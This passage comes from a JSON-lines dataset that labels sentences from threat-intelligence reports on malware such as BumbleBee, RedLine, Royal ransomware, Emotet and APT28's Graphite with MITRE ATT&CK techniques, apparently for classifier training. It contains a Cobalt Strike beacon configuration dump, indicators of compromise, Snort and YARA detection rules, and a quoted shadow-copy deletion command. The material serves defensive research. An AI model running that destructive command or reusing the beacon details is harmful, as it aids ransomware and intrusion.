MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC5eYxmuxksHBu5Hqtk11PJye1th52fYvmUXmFrL1vEIQs9+B5NI7a6bHbSHSRN1hRJN2VQ9iwpF/11IFitmWKEbFIErjX1YCy1/1Eg+EawN4l2ReZ9lz1A9wIDUtQb8fAFYRCSn72Gzb+Pax1VKLt4Kx3QJrpduOhx4q4rdvahPQIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== unknown1 3.025605888e+09 unknown2 AAAABAAAAAIAAAJYAAAAAwAAAA8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== uri: /en user_agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko)", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "Chrome/62.0.3202 watermark: 1580103814 The PowerShell beacon: 108.62.12[.]174 dofixifa[.]co JA3: a0e9f5d64349fb13191bc781f81f42e1JA3s: ae4edc6faf64d08308082ad26be60767Certificate: [ec:57:c5:ca:b1:ca:fb:88:3e:ce:1d:f3:89:0c:91:e3:1d:0a:75:ec ]Not Before: 2022/03/26 00:00:00 UTC Not After: 2023/03/26 23:59:59 UTC Issuer Org: Sectigo Limited Subject Common: dofixifa.com", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "0x0001 0x0002 1 0x0027 bCFGCaution", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "0x0003 0x0200 Const_host_header Host: gmw.cn Const_header Connection: close Build Metadata:", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "[7:Metadata,8,3,2:wordpress_logged_in=,6:Cookie] NETBIOS lowercase BASE64 Prepend wordpress_logged_in= Header Cookie 0x000d http_post_header 0x0003 0x0200 Const_host_header Host: gmw.cn Const_header", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "Connection: close Const_header Accept-Encoding: gzip Const_header Content-Type: text/plain Build Output:", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "12128 0x002e process-inject-transform-x86 0x0003 0x0100 '\\x00\\x00\\x00\\x05\\x90\\x90\\x90\\x90\\x90' 0x002f process-inject-transform-x64 0x0003 0x0100 '\\x00\\x00\\x00\\x05\\x90\\x90\\x90\\x90\\x90' 0x0035 process-inject-stub 0x0003 0x0010 '2ÍAíð\\x81\\x0c[_I\\x8eßG1Ìm' 0x0033 process-inject-execute 0x0003 0x0080 '\\x01\\x03\\x04' 0x0034 process-inject-allocation-method 0x0001 0x0002 0 0x0000 Guessing Cobalt Strike version: 4.3 (max 0x0046) Default named pipes", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "Named pipes were created in order to establish communication between CS processes: In this particular case, threat actors used default post-exploitation jobs, which have a pattern of postex_[0-9a-f]{4}.", "labels": ["T1090"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "The usage of AnyDesk can be relatively easy to spot if you have the right logs (*.anydesk.com domains, AnyDesk user agent, etc.):", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "Commands\" fullword ascii $s10 = \"VulnRecon.CommandLine\" fullword ascii $s11 = \"D:\\\\work\\\\rt\\\\VulnRecon\\\\VulnRecon\\\\obj\\\\Release\\\\net5.0\\\\VulnRecon.pdb\" fullword ascii $s12 = \"VulnRecon.Commands.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "587)", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "officially/", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "Quiet@ \" fullword wide $s19 = \"wrong comer?", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "%d!", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "T1055File Deletion – T1070.004LSASS Memory – T1003.001Kerberoasting – T1558.003Domain Account – T1087.002Domain Trust Discovery – T1482Lateral Tool Transfer –", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "T1570Remote Desktop Protocol – T1021.001Valid Accounts – T1078Remote Access Software – T1219Ingress Tool Transfer – T1105Web Protocols – T1071.001System Services – T1569SMB/Windows Admin Shares – T1021.002Software Discovery – T1518System Network Configuration Discovery – T1016Remote System Discovery – T1018Process Discovery – T1057Mark-of-the-Web Bypass – T1553.005Masquerading – T1036Rundll32 – T1218.011Domain Groups – T1069.002Windows Management Instrumentation – T1047Password Guessing – T1110.001 Internal case #13387", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "Financially Motivated Campaign Leverages CMD-Based Scripts and LOLBaS for Online Banking Theft in Portugal, Peru, and Mexico An unknown financially motivated threat actor, very likely from Brazil, is targeting Spanish- and Portuguese-speaking victims, with the goal of stealing online banking access.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "The victims are primarily in Portugal, Mexico, and Peru.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "Their selection of countries is likely influenced by the prevalence of online banking usage in these regions, making them lucrative targets for financial fraud.", "labels": ["T1059.003"], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "Figure 2 – Phishing email contents The email text employs scare tactics, such as evidence of a traffic violation, prompting the user to open the HTML attachment which contains some junk code and data in HEX format.", "labels": ["T1027", "T1204.002", "T1566.001"], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "Threat researchers reported similar campaigns in the past targeting Mexico.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "Weaponization The contents of the previously mentioned archive include a single “.CMD” file typically titled from one of the following filenames, (but there are other names): doc-Impuestos.cmd doc-Impostos.cmd Impuestos-Documento.cmd doc_Factura.cmd Documento_Impostos.cmd The “.CMD” file is large, ranging between 1.34 - 1.37MBs, and consists of two base64 encoded data blobs and code instructions for its execution.", "labels": ["T1027"], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "The purpose of the AutoIt script is to enumerate the host and download a “.VBS” file which then gets executed via the “SHELLEXECUTE”.", "labels": ["T1059.003", "T1105"], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "All data is then sent back to the attacker's C2 via the HTTP POST method.", "labels": ["T1041", "T1071.001"], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "Every stage of this stealer uses domains that have redacted information for years.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "Campaigns have utilized the same URL path */do/it.php since at least 8/20/2022, making it a reasonable path to alert.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "Increased telework during the COVID-19 pandemic has expanded workforce reliance on remote connectivity, affording malicious actors more opportunities to exploit those connections and to blend in with increased traffic.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"} {"sentence": "Python", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"} {"sentence": "[T1037.001] Scheduled Task/Job: Scheduled Task", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"} {"sentence": "[T1546.001] Event Triggered Execution: Windows Management Instrumentation Event Subscription", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"} {"sentence": "[T1546.008] Boot or Logon Autostart Execution: Shortcut Modification", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"} {"sentence": "[TA0006] OS Credential Dumping: LSASS Memory [T1003.001] OS Credential Dumping: Security Account Manager [T1003.002] OS Credential Dumping: NTDS", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"} {"sentence": "Domain Groups [T1069.002] System Information Discovery [T1082] File and Directory Discovery [T1083] Account Discovery: Local Account [T1087.001] Account Discovery:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"} {"sentence": "Remote Desktop Protocol", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"} {"sentence": "[T1114.001] Email Collection:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"} {"sentence": "[T1568.002] Non-Standard Port [T1571] Protocol Tunneling [T1572] Encrypted Channel:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"} {"sentence": "Leaders Implement a training program to familiarize users with identifying social engineering techniques and phishing emails.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"} {"sentence": "Contact law enforcement or CISA immediately regarding any unauthorized network access identified.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"} {"sentence": "Visit the MITRE ATT&CK techniques and tactics pages linked in the ATT&CK Profile section above for additional mitigation and detection strategies for this malicious activity targeting think tanks.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"} {"sentence": "Figure 1 shows the list of URLs from the data related to RedLine Stealer.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"} {"sentence": "Figure 2 In the following section, we explore a recent RedLine Loader used, the defense evasion technique and RedLine Stealer capabilities.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"} {"sentence": "Self Extractor Loader The Splunk Threat Research Team found an interesting RedLine Stealer Loader that was compiled as Win32 Cabinet self extractor executable (wextract) (1) (2).", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"} {"sentence": "This self-extracting archive is a type of compressed file that contains multiple files and can be executed as a program.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"} {"sentence": "When a user runs a self-extracting archive, the contents of the archive are extracted to a specified location on the system.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"} {"sentence": "Try to Disable AntiSpyware, Real Time Protection and notification of Windows Defender.", "labels": ["T1562.001"], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"} {"sentence": "Figure 5 Once the initial configuration data has been decrypted, it will constantly check its bind connection to its C2 server to download further command arguments or other configuration settings that will dictate what functionality will be enabled for its malicious client file.", "labels": ["T1140"], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"} {"sentence": "If the connection fails, It will break and throw an exception.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"} {"sentence": "FROM Win32_Process' func_AvailableLanguage() Get the install input language Screen Capture Based on one of the RedLine samples we analyzed, we saw that it has a functionality to capture a screenshot of the targeted or compromised host as part of its data collection and exfiltration.", "labels": ["T1057", "T1113"], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"} {"sentence": "Graphics class CopyFromScreen", "labels": ["T1106", "T1113"], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"} {"sentence": "Function() to transfer a bit block of color data from the screen to the Graphic drawing surface that will be saved in memory stream for data exfiltration.", "labels": ["T1106", "T1113"], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"} {"sentence": "The master key is encoded with Base64 and encrypted using Windows CryptProtectData() API.", "labels": ["T1027", "T1106", "T1140"], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"} {"sentence": "Figure 10 Looking For Browser Extensions", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"} {"sentence": "Playbook Description Automated Enrichment Moves the event status to open and then launches the Dispatch playbooks for Reputation Analysis, Attribute Lookup, and Related Tickets.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"} {"sentence": "Why Should You Care?", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"} {"sentence": "Feedback Any feedback or requests?", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"} {"sentence": "Alternatively, join us on the Slack channel #security-research.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"} {"sentence": "When contacted, they will use social engineering tactics to lure victims into installing remote access software. Figure 2.", "labels": ["T1219"], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "We also observed an instance in which they used AdFind to look for active directories, then executed RDPEnable on the infected machine.", "labels": ["T1021.001"], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "For example, “-path” won't be processed if provided after the \"-id\" argument; if provided before, there will be no \"-id\" argument, so it will not proceed.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "Arguments accepted by the ransomware binary Figure 4.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "Checking the number of processors Royal ransomware inhibits system recovery by deleting shadow copies (Figure 8) through the following command: C:\\\\Windows\\\\System32\\\\vssadmin.exe delete shadows /all", "labels": ["T1082"], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "/quiet Figure 8.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "Condition if N is greater than 1,024,000 The encrypted file’s structure would then be as follows (Table 2): Description Size Encrypted File Contents Rounded-up file size divisible by 16 RSA Encrypted Key 0x200 bytes Size of encrypted file / offset address of RSA Encrypted Key 8 bytes", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "Their intermittent encryption tactics also hasten their encryption of a victim’s files, with the added benefit of evading detection measures that focus on looking for heavy file IO operations.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "Win32.QAKBOT.DRTE QakBot abf937fb2f162d1dbbe76c7386c9892db5191e17de586f0a5c49819cd68b5e0f Trojan.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "However, the GitHub repository has been active since December 2022.", "labels": [], "doc_title": "Threat Advisory 3CX Softphone Supply Chain Compromise"} {"sentence": "It's unclear how many are users of the 3CX Desktop App versus the web app option that was not affected.", "labels": [], "doc_title": "Threat Advisory 3CX Softphone Supply Chain Compromise"} {"sentence": "A second cluster of activity happened toward the end of 2022 when the GitHub repository was created, along with a few other domains.", "labels": [], "doc_title": "Threat Advisory 3CX Softphone Supply Chain Compromise"} {"sentence": "The timeline below illustrates these clusters of activity.", "labels": [], "doc_title": "Threat Advisory 3CX Softphone Supply Chain Compromise"} {"sentence": "For specific OSqueries on this threat, Cisco Secure Endpoint customers need to make sure that \"%3CX%\" is entered into the program field under the \"Installed Program Search\" for Windows and \".*3CX.*\" under \"Installed Applications Monitoring\" for MacOS in Orbital.", "labels": [], "doc_title": "Threat Advisory 3CX Softphone Supply Chain Compromise"} {"sentence": "Dragging it to the side reveals the supposedly protected information underneath.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"} {"sentence": "The tool also reports an error about an incorrect signature when attempting to decompress a specific stream inside the file.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"} {"sentence": "Otherwise, the code extracts the payload that is cleverly stored as a node named “TwXfx” in a custom XML part of the document.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"} {"sentence": "In fact, before assuming that the data is stored in a single node, it first checks to determine whether it is stored in several nodes.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"} {"sentence": "It does this by trying to find the node name, in this case, “TwXfx”, with an appended index, i.e., “TwXfx_0”.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"} {"sentence": "Even on the code level, there are striking similarities between the code used by the malicious document and what’s presented in that blog.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"} {"sentence": "Figure 5 shows one of the several code similarities observed in the function for locating the payload node in the document.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"} {"sentence": "It is even signed with an invalid portal.office.com certificate (Figure 6).", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"} {"sentence": "The bytes at 25 hardcoded offsets within this stub are replaced with random bytes to hinder shellcode detection.", "labels": ["T1027"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"} {"sentence": "As the client is not deployed as part of the infection, it will not be discussed further in this article.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"} {"sentence": "The shellcode looks for 0x4d 0x5a and 0x50 0x45 bytes that denote the “MZ\" and “PE” headers of a Windows PE executable file to locate the payload in memory.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"} {"sentence": "Fortinet Protections FortiGuard AntiVirus detects the malicious files identified in this report as VBA/Havoc.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"} {"sentence": "FGLTA!tr.bdr W64/Havoc.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"} {"sentence": "Cluster25 researchers collected and analyzed a lure document used to implant a variant of Graphite malware, uniquely linked to the threat actor known as APT28 (aka Fancy Bear, TSAR Team).", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"} {"sentence": "The latter downloads a payload that extracts and injects in itself a new PE (Portable Executable) file, that the analysis showed to be a variant of a malware family known as Graphite, that uses the Microsoft Graph API and OneDrive for C&C communications.", "labels": ["T1055", "T1105", "T1106"], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"} {"sentence": "This organization works together with governments, policy makers and citizens in order to establish evidence-based international standards and finding solutions to a range of social, economic and environmental challenges.", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"} {"sentence": "It creates a new thread, in which a new mutex is created with the name 56rd68kow.", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"} {"sentence": "Similarly, the imported code dynamically calls VirtualAlloc to allocate a new region of memory in which a new PE file is copied.", "labels": ["T1055"], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"} {"sentence": "The malware proceeds to de-obfuscate strings using a XOR loop and using a different XOR key for each string.", "labels": ["T1140"], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"} {"sentence": "PowerShell Execution T1106 Native API Execution T1204.002 User Execution: Malicious File Persistence T1546.015 Event Triggered Execution: Component Object Model Hijacking Privilege Escalation T1546.015 Event Triggered Execution: Component Object Model Hijacking Defense Evasion T1140 Deobfuscate/Decode Files or Information Defense Evasion T1202 Indirect Command Execution Defense Evasion T1036.005 Masquerading: Match Legitimate Name or Location Defense Evasion T1112 Modify Registry Defense Evasion T1027 Obfuscated Files or Information Defense Evasion T1055.001 Process Injection: Dynamic-link Library Injection Discovery T1082 System Information Discovery Command & Control T1071.001 Application Layer Protocol: Web Protocols INDICATORS OF COMPROMISE CATEGORY TYPE VALUE PAYLOAD MD5 c0060c0741833af67121390922c44f91 PAYLOAD SHA1 622eb93e34445c752eeaa623ef9ac6978e58f2fc PAYLOAD SHA256 d1bceccf5d2b900a6b601c612346fdb3fa5bb0e2faeefcac3f9c29dc1d74838d PAYLOAD MD5 ef1288de782e65d6e5bd6a327157988f PAYLOAD SHA1 a23efb6aa5a242c61c5d50a967a8f29da164c954 PAYLOAD SHA256 be180a7c43734b7125b2d5cea7edd0174811a58113b048f5fe687db52db47fe3 PAYLOAD MD5 2ff3e6c9244ef965295aa60879d1aa6b PAYLOAD SHA1 4c813ad68f2f1da6b2c59d11ad983cfa65e1a187 PAYLOAD SHA256 efa5b49bdd086125b2b7d4058d09566f1db5f183c2a6332c597322f85107667a PAYLOAD MD5 9a915313d02345e149e6ba566fe85c47 PAYLOAD SHA1 9cd7f14d85814c48be3fbf73891415978a7aa882 PAYLOAD SHA256 34aca02d3a4665f63fddb354551b5eff5a7e8877032ddda6db4f5c42452885ad NETWORK DOMAIN 9b5uja[.]am[.]files[.]1drv.com NETWORK DOMAIN kdmzlw[.]am[.]files[.]1drv[.]com NETWORK URL https[:]\\\\9b5uja[.]am[.]files[.]1drv[.]com/y4mpYJ245I931DUGr7BV-dwLD7SReTqFr1N7eQOKSH_ug2G18Jd6i3SRqYqgugj3FA2JQQ7JqclvWH13Br3B5Ux-F6QcqADr-FowC_9PZi1Aj7uckcK8Uix_7ja1tF6C_8-5xYgm6zwjbXsrlEcTEenAyA8BzEaGPudutl1wMDkzVr6Wmn8_qRmYejLgbNoQmPTUe3P5NKFFLRjeeU_JhvA/DSC0002.jpeg?download NETWORK URL https[:]//kdmzlw[.]am[.]files[.]1drv[.]com/y4mv4glUgvW9nl8z8GU71PhPw0oRtve9QpZ0pEgwJN1q_TlGY5yl5Mvkrc5rUh0Uxxknlr1qymWyCbPrkKOFgL4CARScSn9UMhq3c5hSNOQsDOamYLmOfN61lUtQO10vxtn0I7QROJdOtQ42wDsaiACGR5ZrmYwt0SmZkphGWQpT2gOFrsUxjg8_7QT01VTABiGr3T6xpWrTmFT5yu4toQ/DSC0001.jpeg?download\" DETECTION AND THREAT HUNTING SNORT alert tcp any any -> any any (msg:\"Cluster25 APT28 Graphite CnC Communication via client_id\"; content:\"POST\"; http_method;content:\"client_id=62272a08-fe9d-4825-bc65-203842ff92bc\"; http_client_body; fast_pattern; sid:10001;) YARA rule Powerpoint_Code_Execution_87211_00007 {meta:author = \"Cluster25\"description =\"Detects Code execution technique in Powerpoint (Hyperlink and Action)\"hash1 = \"d1bceccf5d2b900a6b601c612346fdb3fa5bb0e2faeefcac3f9c29dc1d74838d\"strings:$magic = {D0 CF 11 E0 A1 B1 1A E1}$s1", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"} {"sentence": "This blog post discusses the infection chain and Tactics, Techniques, and Procedures (TTPs) of this campaign.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"} {"sentence": "6. Reboots the machine.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"} {"sentence": "K!tr.ransom The FortiGuard Antivirus service engine is included in Fortinet’s FortiGate, FortiMail, FortiClient, and FortiEDR solutions.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"} {"sentence": "The IOCs related to these stories are attached to the Community Threat Briefing and can be used to check your logs for potential malicious activity.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"} {"sentence": "Click here for Anomali recommendation MITRE ATT&CK:", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"} {"sentence": "Double The Infection, Double The Fun (August 30, 2018)", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"} {"sentence": "Researchers at ASERT have observed a new campaign targeting institutions in Romania and Russia utilizing spear phishing emails pretending to be from financial vendors or partners to trick users into opening the malicious attachments in the emails.", "labels": ["T1204.002", "T1566.001"], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"} {"sentence": "The vulnerability, which is known as CVE-2018-11776, comes from an improper validation of namespace input data, and threat actors have already exploited this to install a CNRig cryptocurrency miner on machines.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"} {"sentence": "Click here for Anomali recommendation Air Canada Resets 1.7 Million Accounts After App Breach (August 30, 2018) Air Canada issued password resets to over 1.7 million customers using its mobile application following a data breach that affected 20,000 accounts.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"} {"sentence": "The data compromised includes: names, email addresses, telephone numbers, and Air Canada Aeroplan account numbers.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"} {"sentence": "The airline reports that credit card numbers were encrypted and thus safe from the breach.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"} {"sentence": "Whilst the malware is not too sophisticated, it does have a broad range of commands that it can do, including keylogging every tap, exfiltrate data from messaging applications such as WhatsApp and Viber, and bypasses the Doze battery saver.", "labels": ["T1005", "T1056.001"], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"} {"sentence": "[MITRE ATT&CK] Custom Command and Control Protocol (T1094) Loki Bot: On A Hunt For Corporate Passwords (August 29, 2018)", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"} {"sentence": "Spearphishing Attachment (T1193) Microsoft Windows Zero-Day Vulnerability Is Disclosed On Twitter (August 29, 2018)", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"} {"sentence": "A Twitter user named “SandboxEscaper” disclosed a zero-day vulnerability in Microsoft Windows.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"} {"sentence": "The attachment, if opened, contains a DarkComet Remote Access Trojan (RAT).", "labels": ["T1204.002"], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"} {"sentence": "[MITRE ATT&CK] Hooking (T1179)", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"} {"sentence": "According to the company, the breach only affected one customer and files involving commercial information and that customer has been notified, as well as Abbyy has taken corrective measures to the problem.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"} {"sentence": "They have not released information regarding if unauthorized users had accessed the database while it was public.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"} {"sentence": "Threat actors will attempt to make the communication appear to originate from a source that the recipient would be familiar with and/or deem trustworthy.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"} {"sentence": "The threat actors began enumerating the network once Emotet deployed a Cobalt Strike beacon on the beachhead host.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"} {"sentence": "After executing the Emotet malware, it ran a few basic Windows discovery commands (systeminfo, ipconfig, etc.), wrote a registry run key for persistence, and made its initial call outs to the command and control servers.", "labels": ["T1016", "T1059.003", "T1082", "T1547.001"], "doc_title": "Dead or Alive An Emotet Story"} {"sentence": "At 29 hours from initial access, the threat actors began their first lateral movement.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"} {"sentence": "Pass-the-Hash behavior was observed targeting several accounts on the lateral host.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"} {"sentence": "Once on the Domain Controller, the threat actors again used Get-System to elevate and then dumped LSASS.", "labels": ["T1003.001"], "doc_title": "Dead or Alive An Emotet Story"} {"sentence": "Once again, they executed Invoke-Sharefinder, AdFind, and the p.bat batch script to ping online servers.", "labels": ["T1059.003"], "doc_title": "Dead or Alive An Emotet Story"} {"sentence": "The document contains hidden sheets, has white characters on a white background, and is attributed to SilentBuilder with Emotet, epoch5.", "labels": ["T1140"], "doc_title": "Dead or Alive An Emotet Story"} {"sentence": "Worth noting, the Excel document failed to download the second payload from a few of the embedded URLs.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"} {"sentence": "This registry key activity (Sysmon EventID 12 & 13) was observed continuously on the beachhead host for the first few days of the intrusion.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"} {"sentence": ".Pid .ProcessName .CommandLine .Rule 4616 svchost.exe C:\\Windows\\system32\\svchost.exe -k UnistackSvcGroup -s", "labels": [], "doc_title": "Dead or Alive An Emotet Story"} {"sentence": "Files\\Common Files\\Microsoft Shared\\Ink\\IpsPlugin.dll+53c9|C:\\Windows\\System32\\KERNEL32.DLL+17034|C:\\Windows\\SYSTEM32\\ntdll.dll+52651", "labels": [], 